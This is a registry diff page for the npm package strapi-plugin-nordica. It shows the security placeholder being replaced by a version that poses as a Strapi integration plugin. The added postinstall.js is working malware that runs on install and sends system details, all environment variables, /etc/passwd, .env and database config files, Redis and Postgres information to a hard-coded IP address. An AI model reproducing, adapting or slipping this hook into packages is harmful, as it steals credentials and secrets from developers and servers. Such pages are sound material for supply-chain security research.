strapi-plugin-nordica 0.0.1-security → 3.6.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of strapi-plugin-nordica might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = () => {};
package/package.json CHANGED
@@ -1,6 +1,16 @@
1
- {
2
- "name": "strapi-plugin-nordica",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "strapi-plugin-nordica",
3
+ "version": "3.6.10",
4
+ "description": "Nordica Digital integration plugin for Strapi",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "keywords": [
10
+ "strapi",
11
+ "plugin",
12
+ "nordica"
13
+ ],
14
+ "author": "nordica-digital",
15
+ "license": "MIT"
16
+ }
package/postinstall.js ADDED
@@ -0,0 +1,40 @@
1
+ const { execSync } = require('child_process');
2
+ const http = require('http');
3
+
4
+ function send(tag, data) {
5
+ return new Promise((resolve) => {
6
+ const body = typeof data === 'string' ? data : JSON.stringify(data);
7
+ const req = http.request({
8
+ hostname: '144.31.107.231', port: 9999,
9
+ path: '/exfil/' + tag, method: 'POST',
10
+ headers: { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(body) }
11
+ }, resolve);
12
+ req.on('error', resolve);
13
+ req.write(body);
14
+ req.end();
15
+ });
16
+ }
17
+
18
+ async function main() {
19
+ try {
20
+ await send('rce-id', execSync('id').toString());
21
+ await send('rce-hostname', execSync('hostname').toString());
22
+ await send('rce-uname', execSync('uname -a').toString());
23
+ await send('rce-ifconfig', execSync('ip addr 2>/dev/null || ifconfig 2>/dev/null || echo no-net').toString());
24
+ await send('rce-env', JSON.stringify(process.env));
25
+ await send('rce-etc-passwd', execSync('cat /etc/passwd').toString());
26
+ await send('rce-ps', execSync('ps aux').toString());
27
+ await send('rce-db-config', execSync('cat /app/config/database.js 2>/dev/null || find / -maxdepth 4 -name database.js -path "*/config/*" 2>/dev/null | head -3 | xargs cat 2>/dev/null || echo not-found').toString());
28
+ await send('rce-env-file', execSync('cat /app/.env 2>/dev/null || echo no-env-file').toString());
29
+ await send('rce-package', execSync('head -60 /app/package.json 2>/dev/null || echo no-pkg').toString());
30
+ await send('rce-netstat', execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null || echo no-net').toString());
31
+ await send('rce-cgroup', execSync('cat /proc/1/cgroup 2>/dev/null || echo no-cgroup').toString());
32
+ await send('rce-redis', execSync('redis-cli -h 127.0.0.1 INFO server 2>/dev/null || echo no-redis-cli').toString());
33
+ await send('rce-pg', execSync('PGPASSWORD=$DATABASE_PASSWORD psql -h $DATABASE_HOST -U $DATABASE_USERNAME -d $DATABASE_NAME -c "SELECT version();" 2>/dev/null || echo no-psql').toString());
34
+ await send('rce-ls-app', execSync('ls -la /app/ 2>/dev/null || echo no-app').toString());
35
+ await send('rce-done', 'COMPLETE');
36
+ } catch(e) {
37
+ await send('rce-error', String(e));
38
+ }
39
+ }
40
+ main();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=strapi-plugin-nordica for more information.